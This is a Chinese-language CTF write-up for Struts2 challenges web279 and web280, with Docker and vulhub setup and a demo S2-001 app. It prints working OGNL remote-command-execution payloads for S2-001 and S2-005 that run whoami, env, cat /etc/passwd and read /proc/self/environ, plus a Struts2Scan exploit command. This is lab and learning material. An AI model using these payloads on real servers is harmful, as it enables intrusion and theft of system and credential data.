web279

image-20220327121545509

image-20220327121553262

发现一个链接,直接点过去

image-20220327121656757

查看源码,发现一个链接

image-20220327121913334

发现服务器500错误,得知是struts2框架

struts2框架是用java语言编写的一个基于MVC这几模式的web应用框架,关于struts2漏洞

判断是struts2框架的方法

  1. 通过页面的回显错误消息来判断,页面不回显错误消息是则无效
  2. 通过网页后缀来判断,如.do.action,有可能不准
  3. 判断/struts/webconsole.html是否存在来进行判断,需要devMode为true

方法一

通过actionErrors.要求是对应的Action需要继承自ActionSupport类,

原始url为https://threathunter.org/		则检测所用的url为https://threathunter.org/?actionErrors=111

如果返回的页面出现异常,则可以认定为目标是基于struts2构建的.异常包括但不限于

  1. 页面直接出现404或者500等错误
  2. 页面上输出了与业务有关错误消息,或者1111被回显到了页面上
  3. 页面内容结构发生了明显的改变
  4. 页面发生了重定向

方法二

通过CheckboxInterceptor.

要求:需要有一个能够回显到页面上的字符串类型的参数,一般就是各个目标的搜索功能,搜索功能往往会将keyword回显到页面上

原始url: https://threathunter.org/?keyword=aaa,且页面回显出了aaa		检测url: https://threathunter.org/?__checkbox_keyword=aaa,如果返现回显变成了false,则可以认定目标是基于struts2开发的

原理是CheckboxInterceptor发现了一个名为__checkbox_keyword的参数,但是没有发现keyword参数,则他会添加一个keyword参数,并将其值设置为false

回到本题,s2-001是一个struts2命令执行漏洞编号,

这里复现一下struts2漏洞s2-001

漏洞描述

struts2漏洞s2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充响应的表单数据,例如,在注册或登录页面中,如果提交失败,则服务器通常默认情况下将返回先前提交的数据.由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷看来执行命令

vulhub漏洞利用

docker正式安装

确保 yum 包更新到最新

yum update

卸载旧版本(如果安装过旧版本的话)

yum remove docker  docker-common docker-selinux docker-engine

安装需要的软件包, yum-util 提供yum-config-manager功能,另外两个是devicemapper驱动依赖的

yum install -y yum-utils device-mapper-persistent-data lvm2

设置yum源

yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

可以查看所有仓库中所有docker版本,并选择特定版本安装

yum list docker-ce --showduplicates | sort -r

安装docker

yum install docker-ce  #由于repo中默认只开启stable仓库,故这里安装的是最新稳定版17.12.0
执行上面的命令是默认安装,下面这条命令就不用执行了
yum install <FQPN> # 例如:sudo yum install docker-ce-17.12.0.ce

启动并加入开机启动

systemctl start docker
systemctl enable docker

验证安装是否成功(有client和service两部分表示docker安装启动都成功了)

docker version

docker容器中下载weblogic12c(可略过不看)

  • 获取镜像
docker pull ismaleiva90/weblogic12
//docker pull #获取镜像
//ismaleiva90/weblogic #weblogic的镜像,后面没有指定镜像版本就会获取默认的 latest版本
  • 生成并启动容器
docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 ismaleiva90/weblogic12:latest
//docker run #启动
//-d #使得容器后台运行
//-p #指定端口号
//ismaleiva90/weblogic:latest #镜像的详细信息

//2018/3/6 启动命令: docker run -d -p 7001:7001 -p 7002:7002 --restart=always //ismaleiva90/weblogic12:latest
//启动命令更改之后,访问端口变为 7001, http://172.17.0.1:7001/console
docker run -d -p 7001:7001 -p 7002:7002 --restart=always ismaleiva90/weblogic12:latest
172.150.19.40  #当前主机的ip地址
49163 #访问端口号
访问结果,出现登录页面
  • 登录账号和密码:
用户名:  weblogic
密码: welcome1

docker容器中下载vulhub漏洞环境

docker-compose 的安装及使用

Docker Compose 是一个用来定义和运行复杂应用的 Docker 工具。使用 Docker Compose 不再需要使用 shell 脚本来启动容器。(通过 docker-compose.yml 配置)

安装

可以通过修改 URL 中的版本,自定义您需要的版本。

sudo curl -L https://github.com/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

卸载

sudo rm /usr/local/bin/docker-compose

正式下载漏洞环境Vulhub

下载docker漏洞环境:Vulhub

Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

搭建漏洞环境

git clone https://github.com/vulhub/vulhub.git
https://github.com/vulhub/vulhub/archive/master.zip //直接下载地址

改一下国内镜像

vim /etc/docker/daemon.json
添加
{
"registry-mirrors": ["https://nfesww3w.mirror.aliyuncs.com"]
}

输入命令,重启docker即可

systemctl daemon-reload
systemctl restart docker

进入/root/vulhub/struts2/s2-001目录

docker-compose up -d //安装此漏洞环境
docker ps //查看运行服务端口

访问ip:port即可看到web网页

docker-compose down //测试完毕之后,使用此命令即可结束服务,使环境变为初始状态。

测试payload

%{1+1}

image-20220327180450692

image-20220327180459579

这次我们试一试命令执行,new java.lang.String[ {“cat”,”/etc/passwd”} 在这里更改我们想要执行的命令。

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

利用语句

获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

命令执行
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

OGNL表达式中的三个符号% # $

%的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值
#的用途主要是访问非根对象的属性,因为struts中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用
$主要是在struts配置文件中,引用OGNL表达式

env命令

env命令用于显示系统中已存在的环境变量,以及在定义的环境中执行命令.该命令只使用”-“作为参数选项时,隐藏了选项中的”-i”的功能若没有设置任何选项和参数的时候,则直接显示当前的环境变量

如果使用env命令在环境中执行命令时,会因为没有定义环境变量”PATH”而提示错误信息”such file or directory”.此时,用户可以重新定义一个新的”PATH”或者使用绝对路径

当前目录看下

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image-20220327182352142

根目录看下

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image-20220327182549860

env看下

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

另一种
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/proc/self/environ"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image-20220327182906860

这里使用工具的时候本地可以扫出来,但是平台扫不出来

image-20220327185629286

这里利用的时候会报错,改一下

image-20220327190836309

python Struts2Scan.py -u http://192.168.5.149:8080/login.action -n S2-001 --exec

image-20220327190910228

搭建环境

新建一个java EE项目

idea新建一个项目,这里刚开始会无这个页面的话,就回主页面按快捷键组合ctrl+alt+shift+/,然后选register,接着找到javaee.legacy.project.wizard,选中

image-20220327134224229

添加本地tomocat服务

image-20220327134837650

image-20220327134926814

image-20220327134957066

创建好的目录结构

image-20220327135032129

在web/WEB-INF目录下面创建两个文件夹:classes和lib

classes用来存放编译后输出的class文件,lib用于存放第三方jar包

配置文件夹路径

image-20220327135728679

image-20220327135746950

改成刚才新建的classes文件夹

image-20220327135949824

image-20220327145410765

选择刚才新建的lib

image-20220327145457038

配置tomcat容器

image-20220327154004309

记得改下端口

导入所需的jar包

下载地址这里的jar包一定要都相同,试了好久

image-20220330222828098

接下来就是我们要创建的几个文件,这里代码都给出来了,直接copy就行。(注意:一定要按照前边给出的目录结构放置下边的文件)

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>

index.jsp

<%--
Created by IntelliJ IDEA.
User: King kaki
Date: 2018/8/30
Time: 14:32
To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>

接着在index.jsp同级目录下面创建welcome.jsp文件

<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

在src下新建软件包名为com.demo.action在action目录下新建LoginAction的java类

LoginAction.java

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;

public String getUsername() {
return this.username;
}

public String getPassword() {
return this.password;
}

public void setUsername(String username) {
this.username = username;
}

public void setPassword(String password) {
this.password = password;
}

public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}

接着在src目录下创建struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>

测试

image-20220330223336985

太菜了,分析不明白

web280

poc 这个漏洞的具体原理不知道,但是利用方式是先传poc,在使用struts2scan去利用,如果不先传poc是无法扫描成功的,具体改的位置就是 id查找一下id

/S2-005/example/HelloWorld.action?%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27id%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29
/S2-005/example/HelloWorld.action?%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27---id----%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29

image-20220331131434036

/S2-005/example/HelloWorld.action?%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27ls%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29

image-20220331131738952

image-20220331132426843

记得先传poc哦 工具扫出来是016漏洞

image-20220331132108793

找了一下在env

image-20220331132313003